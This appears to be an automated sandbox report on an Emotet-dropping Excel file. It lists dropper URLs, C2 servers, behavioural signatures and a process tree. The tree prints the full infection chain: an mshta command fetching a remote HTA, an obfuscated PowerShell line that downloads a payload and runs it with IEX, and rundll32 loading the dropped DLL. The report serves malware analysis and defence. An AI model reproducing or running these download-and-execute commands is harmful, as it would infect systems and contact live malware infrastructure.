Analysis

  • max time kernel
    124s
  • max time network
    179s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    27/01/2022, 18:41

General

  • Target
    tmpe4rjgs84.xls
  • Size 154KB
  • Sample220127-xbt3eahagp
  • SHA256 512ac54cebef393a9e46590aebf2c2e78bc9b35b1bb5e160cdcc5196f027c6eb
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpe4rjgs84.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3540
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4264
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2468
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2524
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2356
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cyrdg\vxtrs.wsr",SZAsvG
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2368
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cyrdg\vxtrs.wsr",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:868
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 4936 -s 1800
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2624

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/868-636-0x0000000005970000-0x0000000005995000-memory.dmp

        memory/868-634-0x00000000058F0000-0x0000000005915000-memory.dmp

        memory/868-632-0x0000000005700000-0x0000000005725000-memory.dmp

        memory/868-630-0x0000000005610000-0x0000000005635000-memory.dmp

        memory/868-628-0x0000000005530000-0x0000000005555000-memory.dmp

        memory/868-626-0x0000000005450000-0x0000000005475000-memory.dmp

        memory/868-624-0x0000000005370000-0x0000000005395000-memory.dmp

        memory/868-622-0x0000000005290000-0x00000000052B5000-memory.dmp

        memory/868-619-0x00000000011F0000-0x0000000001215000-memory.dmp

        memory/2356-607-0x00000000010C0000-0x00000000010E5000-memory.dmp

        memory/2356-612-0x0000000004A70000-0x0000000004A95000-memory.dmp

        memory/2356-617-0x0000000004C90000-0x0000000004CB5000-memory.dmp

        memory/2356-603-0x00000000008E0000-0x0000000000905000-memory.dmp

        memory/2356-614-0x0000000004AD0000-0x0000000004AF5000-memory.dmp

        memory/2356-610-0x0000000004990000-0x00000000049B5000-memory.dmp

        memory/2368-618-0x0000000004780000-0x00000000047A5000-memory.dmp

        memory/2524-600-0x00000000005D0000-0x00000000005F5000-memory.dmp

        memory/3540-119-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-661-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-664-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-663-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-662-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-117-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-131-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

        memory/3540-130-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

        memory/3540-123-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/3540-120-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

        memory/4264-593-0x0000027A619C0000-0x0000027A61A70000-memory.dmp

        memory/4264-276-0x0000027A79DB0000-0x0000027A79DD2000-memory.dmp

        memory/4264-288-0x0000027A619C0000-0x0000027A61A70000-memory.dmp

        memory/4264-293-0x0000027A619C0000-0x0000027A61A70000-memory.dmp

        memory/4264-476-0x0000027A7A450000-0x0000027A7A4C6000-memory.dmp

        memory/4264-351-0x0000027A7A390000-0x0000027A7A3CC000-memory.dmp